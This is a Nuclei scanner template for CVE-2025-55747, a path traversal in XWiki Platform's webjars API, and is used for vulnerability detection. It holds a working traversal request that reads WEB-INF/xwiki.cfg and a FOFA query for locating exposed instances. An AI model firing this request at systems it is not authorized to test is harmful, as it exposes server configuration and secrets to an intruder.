id: CVE-2025-55747

info:
  name: XWiki Platform - Information Disclosure
  author: Redmomn
  severity: high
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.
  impact: |
    Remote attackers can access sensitive configuration files, potentially exposing critical information.
  remediation: |
    Update to version 16.10.7 or later.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-19350
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-55747
    epss-score: 0.01557
    epss-percentile: 0.72726
    cwe-id: CWE-23
  metadata:
    verified: true
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100b42cc3db4c760bc5eddcee1d88b94f38e13b0679a8fc3a4af74a3baed75483da022100911d2496046460296cda4e3e5d26ac6472465ad5043d14d6906f9b26a0244df4:922c64590222798bb761d5b6d8e72950